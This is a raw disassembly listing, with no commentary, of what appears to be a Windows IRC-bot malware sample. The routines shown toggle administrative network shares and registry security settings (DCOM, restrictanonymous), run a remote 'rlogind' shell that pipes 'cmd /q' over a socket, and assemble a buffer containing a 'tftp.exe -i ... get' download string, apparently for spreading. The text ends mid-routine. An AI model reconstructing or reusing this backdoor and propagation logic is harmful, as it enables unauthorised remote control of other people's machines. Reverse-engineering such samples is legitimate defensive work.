sub_40FE91+1B2j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_410147 loc_4100C7: ; CODE XREF: sub_40FE91+2B2j mov edi, [esi] push edi call sub_41597E cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41013C push edi call sub_407028 push eax push 0 call sub_407114 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_4100FC push offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted." jmp short loc_410101 ; --------------------------------------------------------------------------- loc_4100FC: ; CODE XREF: sub_40FE91+262j push offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share." loc_410101: ; CODE XREF: sub_40FE91+269j push 200h push eax call sub_41466D add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41012F push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_41012F: ; CODE XREF: sub_40FE91+282j lea eax, [ebp+var_214] push eax call sub_401EFF pop ecx loc_41013C: ; CODE XREF: sub_40FE91+245j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4100C7 xor edi, edi loc_410147: ; CODE XREF: sub_40FE91+230j push [ebp+var_8] call dword_435840 loc_410150: ; CODE XREF: sub_40FE91+222j cmp [ebp+var_10], 0EAh jz loc_410019 lea eax, [ebp+var_214] push offset aSecureNetworkS ; "[SECURE]: Network shares deleted." push eax call sub_414415 pop ecx pop ecx pop ebx jmp short loc_410186 ; --------------------------------------------------------------------------- loc_410173: ; CODE XREF: sub_40FE91+178j lea eax, [ebp+var_214] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_414415 pop ecx pop ecx loc_410186: ; CODE XREF: sub_40FE91+2E0j cmp [ebp+arg_C], edi jnz short loc_4101A4 push edi push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_4101A4: ; CODE XREF: sub_40FE91+2F8j lea eax, [ebp+var_214] push eax call sub_401EFF pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_40FE91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101B8 proc near ; CODE XREF: sub_4104EF:loc_41052Dp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_435968, ebx push esi jnz loc_4102E7 lea eax, [ebp+var_4] push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call dword_435930 ; RegOpenKeyExA test eax, eax jnz short loc_410244 lea eax, [ebp+var_8+2] mov word ptr [ebp+var_8+2], 59h lea edx, [eax+1] loc_4101FC: ; CODE XREF: sub_4101B8+49j mov cl, [eax] inc eax test cl, cl jnz short loc_4101FC sub eax, edx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4357EC ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41022C push offset aSecureEnableDc ; "[SECURE]: Enable DCOM failed." jmp short loc_410231 ; --------------------------------------------------------------------------- loc_41022C: ; CODE XREF: sub_4101B8+6Bj push offset aSecureDcomEnab ; "[SECURE]: DCOM enabled." loc_410231: ; CODE XREF: sub_4101B8+72j push eax call sub_414415 pop ecx pop ecx push [ebp+var_4] call dword_4358E4 ; RegCloseKey jmp short loc_410257 ; --------------------------------------------------------------------------- loc_410244: ; CODE XREF: sub_4101B8+36j lea eax, [ebp+var_220] push offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_414415 pop ecx pop ecx loc_410257: ; CODE XREF: sub_4101B8+8Aj cmp [ebp+arg_C], ebx jnz short loc_410276 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_410276: ; CODE XREF: sub_4101B8+A2j lea eax, [ebp+var_220] push eax call sub_401EFF pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_435930 ; RegOpenKeyExA test eax, eax jnz short loc_4102E0 push 4 lea eax, [ebp+var_8] push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4357EC ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_4102C8 push offset aSecureFailed_5 ; "[SECURE]: Failed to unrestrict access t"... jmp short loc_4102CD ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_4101B8+107j push offset aSecureUnrestri ; "[SECURE]: Unrestricted access to the IP"... loc_4102CD: ; CODE XREF: sub_4101B8+10Ej push eax call sub_414415 pop ecx pop ecx push [ebp+var_4] call dword_4358E4 ; RegCloseKey jmp short loc_4102FA ; --------------------------------------------------------------------------- loc_4102E0: ; CODE XREF: sub_4101B8+E3j push offset aSecureFailed_6 ; "[SECURE]: Failed to open IPC$ restricti"... jmp short loc_4102EC ; --------------------------------------------------------------------------- loc_4102E7: ; CODE XREF: sub_4101B8+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_4102EC: ; CODE XREF: sub_4101B8+12Dj lea eax, [ebp+var_220] push eax call sub_414415 pop ecx pop ecx loc_4102FA: ; CODE XREF: sub_4101B8+126j cmp [ebp+arg_C], ebx jnz short loc_410319 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_410319: ; CODE XREF: sub_4101B8+145j lea eax, [ebp+var_220] push eax call sub_401EFF cmp dword_435990, ebx pop ecx jnz loc_41048C push edi xor esi, esi mov edi, 200h loc_41033A: ; CODE XREF: sub_4101B8+1EFj push dword_42C37C[esi] push off_42C378[esi] push ebx call sub_4070A9 add esp, 0Ch push off_42C378[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_410366 push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_41036B ; --------------------------------------------------------------------------- loc_410366: ; CODE XREF: sub_4101B8+1A5j push offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share." loc_41036B: ; CODE XREF: sub_4101B8+1ACj push edi push eax call sub_41466D add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_410394 push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_410394: ; CODE XREF: sub_4101B8+1C0j lea eax, [ebp+var_220] push eax call sub_401EFF add esi, 8 cmp esi, 10h pop ecx jb short loc_41033A call ds:dword_420124 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_410474 loc_4103BC: ; CODE XREF: sub_4101B8+2B6j test byte ptr [ebp+var_4], 1 jz loc_410469 cmp bl, 41h jz loc_410469 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41466D push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41466D add esp, 20h lea eax, [ebp+var_20] push eax call dword_435794 ; GetDriveTypeA cmp eax, 3 jnz short loc_410469 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4070A9 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_41042D push offset aSecureShareSAd ; "[SECURE]: Share '%s' added." jmp short loc_410432 ; --------------------------------------------------------------------------- loc_41042D: ; CODE XREF: sub_4101B8+26Cj push offset aSecureFailed_7 ; "[SECURE]: Failed to add '%s' share." loc_410432: ; CODE XREF: sub_4101B8+273j push edi push eax call sub_41466D add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41045C push 1 push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_41045C: ; CODE XREF: sub_4101B8+288j lea eax, [ebp+var_220] push eax call sub_401EFF pop ecx loc_410469: ; CODE XREF: sub_4101B8+208j ; sub_4101B8+211j ... inc bl shr [ebp+var_4], 1 jnz loc_4103BC loc_410474: ; CODE XREF: sub_4101B8+1FEj lea eax, [ebp+var_220] push offset aSecureNetwor_0 ; "[SECURE]: Network shares added." push eax call sub_414415 pop ecx pop ecx xor ebx, ebx pop edi jmp short loc_41049F ; --------------------------------------------------------------------------- loc_41048C: ; CODE XREF: sub_4101B8+174j lea eax, [ebp+var_220] push offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"... push eax call sub_414415 pop ecx pop ecx loc_41049F: ; CODE XREF: sub_4101B8+2D2j cmp [ebp+arg_C], ebx jnz short loc_4104BD push ebx push [ebp+arg_8] lea eax, [ebp+var_220] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_4104BD: ; CODE XREF: sub_4101B8+2EAj lea eax, [ebp+var_220] push eax call sub_401EFF pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_4101B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4104D1 proc near ; CODE XREF: sub_4104D1+1Cj ; DATA XREF: sub_40E6BB+3B4o push 1 push 0 push 0 push 0 call sub_40FE91 add esp, 10h push dword_42C374 call ds:dword_420000 ; Sleep jmp short sub_4104D1 sub_4104D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4104EF proc near ; DATA XREF: sub_4089DC+4E99o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, [ebp+74h+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+74h+var_98] rep movsd cmp [ebp+74h+var_10], 0 push [ebp+74h+var_8] mov dword ptr [eax+94h], 1 push [ebp+74h+var_C] lea eax, [ebp+74h+var_94] push eax push [ebp+74h+var_98] jz short loc_41052D call sub_40FE91 jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41052D: ; CODE XREF: sub_4104EF+35j call sub_4101B8 loc_410532: ; CODE XREF: sub_4104EF+3Cj add esp, 10h push [ebp+74h+var_14] call sub_41255E pop ecx push 0 call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_4104EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410547 proc near ; CODE XREF: sub_4107C5+98p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi push edi push 11h xor eax, eax pop ecx lea edi, [ebp+var_58] rep stosd lea edi, [ebp+var_14] stosd xor esi, esi stosd stosd stosd mov eax, [ebp+arg_0] mov edi, ds:dword_4200E0 push esi push 1 mov [ebp+var_20], eax push 2 lea eax, [ebp+var_18] push eax mov [ebp+var_4], esi mov [ebp+var_58], 44h mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_420110 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_420038 ; CreateProcessA test eax, eax jz short loc_4105F7 mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4366A8[eax], ecx call ds:dword_42003C ; CloseHandle jmp short loc_41060D ; --------------------------------------------------------------------------- loc_4105F7: ; CODE XREF: sub_410547+8Ej call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_2 ; "[RLOGIND]: Failed to execute shell, err"... call sub_401F73 mov esi, [ebp+var_4] pop ecx pop ecx loc_41060D: ; CODE XREF: sub_410547+AEj pop edi mov eax, esi pop esi leave retn sub_410547 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_410613 proc near ; DATA XREF: sub_4108C1+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 1B0h push ebx mov ebx, ds:dword_42008C push esi push edi mov edi, [ebp+74h+arg_0] jmp short loc_410675 ; --------------------------------------------------------------------------- loc_41062C: ; CODE XREF: sub_410613+77j xor eax, eax xor dl, dl xor esi, esi cmp [ebp+74h+arg_0], eax jbe short loc_41065E loc_410637: ; CODE XREF: sub_410613+49j mov cl, [ebp+esi+74h+var_C8] cmp cl, 0Ah jnz short loc_41064E cmp dl, 0Dh jz short loc_41064E mov [ebp+eax+74h+var_1B0], 0Dh inc eax loc_41064E: ; CODE XREF: sub_410613+2Bj ; sub_410613+30j mov [ebp+eax+74h+var_1B0], cl inc eax inc esi cmp esi, [ebp+74h+arg_0] mov dl, cl jb short loc_410637 loc_41065E: ; CODE XREF: sub_410613+22j push 0 push eax lea eax, [ebp+74h+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43589C ; send test eax, eax jle short loc_41068C loc_410675: ; CODE XREF: sub_410613+17j push 0 lea eax, [ebp+74h+arg_0] push eax push 0C8h lea eax, [ebp+74h+var_C8] push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_41062C loc_41068C: ; CODE XREF: sub_410613+60j mov esi, ds:dword_420008 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_4106A8 call esi ; RtlGetLastWin32Error push eax push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"... call sub_401F73 pop ecx pop ecx loc_4106A8: ; CODE XREF: sub_410613+84j pop edi pop esi pop ebx add ebp, 74h leave retn sub_410613 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_4106B0 proc near ; DATA XREF: sub_4108C1+75o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+74h+arg_0] xor esi, esi mov [ebp+74h+var_10], ebx jmp loc_4107A2 ; --------------------------------------------------------------------------- loc_4106CD: ; CODE XREF: sub_4106B0+107j cmp [ebp+74h+var_10], ebx jbe short loc_4106DA dec [ebp+74h+var_10] jmp loc_4107A5 ; --------------------------------------------------------------------------- loc_4106DA: ; CODE XREF: sub_4106B0+20j mov al, byte ptr [ebp+74h+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_41078D cmp al, 8 mov [ebp+74h+var_C], ebx jz short loc_410744 cmp al, 7Fh jz short loc_410744 cmp al, 3 jnz short loc_410705 push ebx push ebx call ds:dword_420128 ; GenerateConsoleCtrlEvent jmp short loc_41076B ; --------------------------------------------------------------------------- loc_410705: ; CODE XREF: sub_4106B0+49j cmp al, 15h jnz short loc_410727 xor esi, esi mov [ebp+74h+var_8], 20h mov [ebp+74h+var_7], 58h mov [ebp+74h+var_6], 58h mov [ebp+74h+var_5], 58h mov [ebp+74h+var_4], 0Dh mov [ebp+74h+var_3], 0Ah push 6 jmp short loc_410757 ; --------------------------------------------------------------------------- loc_410727: ; CODE XREF: sub_4106B0+57j xor ecx, ecx mov [ebp+esi+74h+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+74h+var_8], al jnz short loc_410758 mov [ebp+esi+74h+var_DC], 0Ah mov [ebp+74h+var_7], 0Ah inc esi push 2 jmp short loc_410757 ; --------------------------------------------------------------------------- loc_410744: ; CODE XREF: sub_4106B0+41j ; sub_4106B0+45j cmp esi, ebx jbe short loc_41076E dec esi mov [ebp+74h+var_8], 8 mov [ebp+74h+var_7], 20h mov [ebp+74h+var_6], 8 push 3 loc_410757: ; CODE XREF: sub_4106B0+75j ; sub_4106B0+92j pop ecx loc_410758: ; CODE XREF: sub_4106B0+84j push ebx push ecx lea eax, [ebp+74h+var_8] push eax push dword ptr [edi+0Ch] call dword_43589C ; send test eax, eax jle short loc_4107BD loc_41076B: ; CODE XREF: sub_4106B0+53j mov al, byte ptr [ebp+74h+arg_0+3] loc_41076E: ; CODE XREF: sub_4106B0+96j cmp al, 0Dh jnz short loc_4107A5 push ebx lea eax, [ebp+74h+var_14] push eax push esi lea eax, [ebp+74h+var_DC] push eax push dword ptr [edi+4] call ds:dword_420040 ; WriteFile test eax, eax jz short loc_4107BD xor esi, esi jmp short loc_4107A5 ; --------------------------------------------------------------------------- loc_41078D: ; CODE XREF: sub_4106B0+36j cmp [ebp+74h+var_C], ebx jnz short loc_41079B mov [ebp+74h+var_C], 1 jmp short loc_4107A5 ; --------------------------------------------------------------------------- loc_41079B: ; CODE XREF: sub_4106B0+E0j mov [ebp+74h+var_10], 0Ah loc_4107A2: ; CODE XREF: sub_4106B0+18j mov [ebp+74h+var_C], ebx loc_4107A5: ; CODE XREF: sub_4106B0+25j ; sub_4106B0+C0j ... push ebx push 1 lea eax, [ebp+74h+arg_0+3] push eax push dword ptr [edi+0Ch] call dword_43577C ; recv test eax, eax jg loc_4106CD loc_4107BD: ; CODE XREF: sub_4106B0+B9j ; sub_4106B0+D7j pop edi pop esi pop ebx add ebp, 74h leave retn sub_4106B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107C5 proc near ; CODE XREF: sub_4108C1+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_414CAD mov esi, eax cmp esi, edi pop ecx jnz short loc_4107EA xor eax, eax jmp loc_4108BD ; --------------------------------------------------------------------------- loc_4107EA: ; CODE XREF: sub_4107C5+1Cj push ebx push edi lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] mov [esi], edi push eax lea ebx, [esi+4] mov [ebx], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ds:dword_420114 ; CreatePipe test eax, eax mov edi, ds:dword_42003C jnz short loc_41082B call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"... jmp short loc_41084C ; --------------------------------------------------------------------------- loc_41082B: ; CODE XREF: sub_4107C5+56j push 0 lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_4] push eax call ds:dword_420114 ; CreatePipe test eax, eax jnz short loc_410854 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"... loc_41084C: ; CODE XREF: sub_4107C5+64j call sub_401F73 pop ecx jmp short loc_410881 ; --------------------------------------------------------------------------- loc_410854: ; CODE XREF: sub_4107C5+79j push [ebp+arg_0] mov ebx, [ebp+var_8] push [ebp+var_4] call sub_410547 pop ecx pop ecx mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_4108B6 push offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell." call sub_401EFF loc_410881: ; CODE XREF: sub_4107C5+8Dj cmp [ebp+var_4], 0 pop ecx jz short loc_41088D push [ebp+var_4] call edi ; CloseHandle loc_41088D: ; CODE XREF: sub_4107C5+C1j cmp [ebp+var_8], 0 jz short loc_410898 push [ebp+var_8] call edi ; CloseHandle loc_410898: ; CODE XREF: sub_4107C5+CCj mov eax, [esi] test eax, eax jz short loc_4108A1 push eax call edi ; CloseHandle loc_4108A1: ; CODE XREF: sub_4107C5+D7j mov eax, [esi+4] test eax, eax jz short loc_4108AB push eax call edi ; CloseHandle loc_4108AB: ; CODE XREF: sub_4107C5+E1j push esi call sub_414844 pop ecx xor eax, eax jmp short loc_4108BC ; --------------------------------------------------------------------------- loc_4108B6: ; CODE XREF: sub_4107C5+B0j or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4108BC: ; CODE XREF: sub_4107C5+EFj pop ebx loc_4108BD: ; CODE XREF: sub_4107C5+20j pop edi pop esi leave retn sub_4107C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108C1 proc near ; CODE XREF: sub_40F4D9+1BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4107C5 imul edi, 234h mov esi, eax mov eax, dword_4366AC[edi] mov edi, ds:dword_42000C xor ebx, ebx pop ecx mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410613 push ebx lea eax, [ebp+var_C] push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_410930 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_401F73 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_410A10 ; --------------------------------------------------------------------------- loc_410930: ; CODE XREF: sub_4108C1+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4106B0 push ebx lea eax, [ebp+var_C] push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_410971 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_401F73 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4200F0 ; TerminateThread xor eax, eax jmp loc_410A11 ; --------------------------------------------------------------------------- loc_410971: ; CODE XREF: sub_4108C1+86j mov eax, [esi+10h] mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] push 0FFFFFFFFh mov [ebp+var_10], eax push ebx lea eax, [ebp+var_18] push eax push 3 call ds:dword_42012C ; WaitForMultipleObjects sub eax, ebx jz short loc_4109CB dec eax jz short loc_4109C5 dec eax jz short loc_4109B1 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"... call sub_401F73 pop ecx pop ecx jmp short loc_4109E0 ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_4108C1+D9j mov edi, ds:dword_4200F0 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_4109E0 ; --------------------------------------------------------------------------- loc_4109C5: ; CODE XREF: sub_4108C1+D6j push ebx push dword ptr [esi+10h] jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_4108C1+D3j push ebx push dword ptr [esi+14h] loc_4109CF: ; CODE XREF: sub_4108C1+108j call ds:dword_4200F0 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4200E8 ; TerminateProcess loc_4109E0: ; CODE XREF: sub_4108C1+EEj ; sub_4108C1+102j push dword ptr [esi+10h] mov edi, ds:dword_42003C call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_435914 ; closesocket push esi call sub_414844 xor eax, eax inc eax loc_410A10: ; CODE XREF: sub_4108C1+6Aj pop ecx loc_410A11: ; CODE XREF: sub_4108C1+ABj pop edi pop esi pop ebx leave retn sub_4108C1 endp ; =============== S U B R O U T I N E ======================================= sub_410A16 proc near ; CODE XREF: sub_410A42+Ap ; sub_410C45+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] lea edx, [eax+1] loc_410A1D: ; CODE XREF: sub_410A16+Cj mov cl, [eax] inc eax test cl, cl jnz short loc_410A1D sub eax, edx push esi mov esi, eax mov eax, [esp+4+arg_4] lea ecx, [eax+1] loc_410A30: ; CODE XREF: sub_410A16+1Fj mov dl, [eax] inc eax test dl, dl jnz short loc_410A30 sub eax, ecx lea eax, [esi+eax*2+0C1h] pop esi retn sub_410A16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A42 proc near ; CODE XREF: sub_410C5C+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_410A16 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_410A5F xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_410A5F: ; CODE XREF: sub_410A42+17j mov eax, [ebp+arg_8] lea edx, [eax+1] loc_410A65: ; CODE XREF: sub_410A42+28j mov cl, [eax] inc eax test cl, cl jnz short loc_410A65 sub eax, edx push ebx mov edx, eax mov eax, [ebp+arg_C] push esi push edi mov [ebp+arg_4], edx lea esi, [eax+1] loc_410A7C: ; CODE XREF: sub_410A42+3Fj mov cl, [eax] inc eax test cl, cl jnz short loc_410A7C sub eax, esi mov ebx, [ebp+arg_0] lea ecx, [eax+edx+12h] mov dword_42C42C, ecx push 0FFFFFFEDh lea ecx, [eax+1] mov dword_42C44D, ecx lea ecx, [eax+17h] mov dword_42C445, ecx pop ecx sub ecx, eax mov dword_42C45B, ecx push 1Dh pop ecx mov edi, ebx mov esi, offset dword_42C3C8 rep movsd mov esi, [ebp+arg_8] mov ecx, edx shr ecx, 2 lea edi, [ebx+74h] rep movsd mov ecx, edx mov edx, [ebp+arg_4] and ecx, 3 rep movsb add edx, 74h lea edi, [edx+ebx] mov esi, (offset aTftp_exeIGet+0Ch) movsd movsb mov esi, [ebp+arg_C] add edx, 5 lea edi, [edx+ebx] mov ecx, eax mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx mov ebx, [ebp+arg_0] and ecx, 3 rep movsb add edx, eax lea edi, [edx+ebx] mov esi, (offset aTftp_exeIGet+11h) movsd movsd movsd movsd mov esi, [ebp+arg_C] add edx, 10h mov ecx, eax lea edi, [edx+ebx] mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb push 0Eh lea edi, [edx+eax] add edi, [ebp+arg_0] mov eax, [ebp+var_4] pop ecx mov esi, offset byte_42C451 rep movsd pop edi pop esi pop ebx leave retn sub_410A42 endp ; =============== S U B R O U T I N E ======================================= sub_410B3A proc near ; CODE XREF: sub_410B55+41p ; sub_410C45+Ep arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_410B43 inc ecx loc_410B43: ; CODE XREF: sub_410B3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_410B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B55 proc near ; CODE XREF: sub_410C5C+56p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_C] cmp bl, 0Ah push esi jz short loc_410B70 cmp bl, 0Dh jz short loc_410B70 cmp bl, 5Ch jz short loc_410B70 test bl, bl jnz short loc_410B71 loc_410B70: ; CODE XREF: sub_410B55+Bj ; sub_410B55+10j ... inc ebx loc_410B71: ; CODE XREF: sub_410B55+19j mov esi, 0FFh cmp ebx, esi jbe short loc_410B95 mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_410B8F cmp al, 0Dh jz short loc_410B8F cmp al, 5Ch jz short loc_410B8F test al, al jnz short loc_410B95 loc_410B8F: ; CODE XREF: sub_410B55+2Cj ; sub_410B55+30j ... add ebx, 100h loc_410B95: ; CODE XREF: sub_410B55+23j ; sub_410B55+38j push ebx call sub_410B3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+arg_C], eax ja short loc_410BAB cmp eax, 0FFFFh jbe short loc_410BB2 loc_410BAB: ; CODE XREF: sub_410B55+4Dj xor eax, eax jmp loc_410C41 ; 